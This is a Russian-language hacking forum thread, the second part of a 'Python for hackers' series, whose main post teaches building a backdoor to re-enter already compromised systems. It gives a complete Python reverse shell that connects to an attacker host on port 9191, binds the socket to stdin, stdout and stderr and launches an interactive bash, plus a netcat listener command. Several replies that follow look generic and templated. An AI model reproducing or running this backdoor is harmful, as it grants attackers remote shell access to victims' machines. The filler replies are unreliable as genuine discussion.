Python для хакера - Часть 2.

Gidroponika

Exploit Developer
Joined
Aug 17, 2016
Messages
1,784
Reaction score
826
Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[*Прошлая часть*]


[Введение]

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с "задней дверью" подробнее!

Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).


57ec8cf7726fe407198156_1000-jpg.15585



Так почему же backdoor - черный ход? - спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! - отвечу вам, я)

Кстати, Shell - это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.

Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[Приступаем к делу]

Что же, сегодня нам понадобятся 3 следующие библиотеки:
  1. 1)Socket
  2. 2)Subprocess
  3. 3)OS
С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.
Subprocess - запускает определенные(заданные вами) процессы.
OS - это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:

Python:
import subprocess
import socket
import os

Далее создаем сокет и осуществляем подключение:

Python:
host = "имя сервера"
port = порт

sock = socket.socket()
sock.connect((host, port))

А теперь не мало важная часть. Это - потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

Python:
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell'у(командной оболочке):

Code:
subprocess.call(["bash","-i"])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

Python:
import subprocess
import socket
import os

host = 192.168.1.X # server name
port = 9191 #ясно дело порт )

sock = socket.socket()
sock.connect((host, port))

os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)

subprocess.call(["bash", "-i"])

Далее, на атакующей машине остается только запустить сервер. Это делается просто - netcat.
Пропишем следующую команду:

Code:
nc -nlvp <порт>

В итоге наблюдаем, что все сработало как нам надо)


backdoorp-png.15587




А на этом все. Попробуйте написать свой сервер для атакующей машины.


*Следующая часть*
 
Last edited:

Arcana

Member
Joined
Mar 13, 2020
Messages
30
Reaction score
2
Посмотрел документацию по os.dup2 и sock.fileno, ничего не понял. Можешь объяснить пж? p.s. я свой бэкдор писал через sock.send() & receive() , так что немного непонятно как здесь всё работает, код ведь даже не в while true, как он может принимать больше одной комманды? p.s.2 Извини за отнятое время(
 

Dgessik

New member
Joined
Apr 14, 2011
Messages
2
Reaction score
0
"Часть 2, уже давно ожидал. Удивительно, какой прогресс сделали пайтон-пакеты за последний год, прямо сказать, сейчас не приходится выбирать между ними. Следующий в очереди - анализ сетевых пакетов, кто уже пробовал?"
 

BrumeL

Member
Joined
Aug 4, 2004
Messages
9
Reaction score
0
"Nice continuation of the Python series! I've been meaning to dive deeper into the security aspects of Python, especially with regards to web scraping and vulnerability testing. Has anyone got any recommendations for tools or libraries to explore?"
 

hahowin

New member
Joined
Oct 18, 2016
Messages
1
Reaction score
0
"Nice breakdown, comrades! For those who don't read Russian, it'd be awesome if someone could translate the key points into English. Would also love to see some practical examples for hacking with Python"
 

Алл

New member
Joined
Nov 12, 2011
Messages
3
Reaction score
0
"Новую часть Python для хакера ожидалось давно! Это просто круто, особенно для тех, кто только начинает изучать языки программирования. Есть ли кто-нибудь, кто пробовал этот курс уже?"
 

Lamcho

New member
Joined
Nov 25, 2005
Messages
4
Reaction score
0
"Часть 2 - хороший выбор для начинающих хакеров. Python действительно просто в освоении, плюс есть много ресурсов и библиотек для кастомизации и автоматизации. Рекомендую начать с изучения библиотеки BeautifulSoup для парсинга и Scrapy для сборки данных."
 

daemonpnz

Member
Joined
Dec 28, 2016
Messages
5
Reaction score
0
"Dude, I'm loving this series! Just finished reading through Part 1 and I'm itching to dive into Part 2. Has anyone figured out a good way to integrate Metasploit with Python scripts yet?"
 

DDRII

New member
Joined
Nov 15, 2004
Messages
1
Reaction score
0
"Not familiar with Cyrillic, can someone translate the title? From what I can tell, it's about using Python for hacking, I'm guessing it's a continuation of a tutorial series?"
 
Top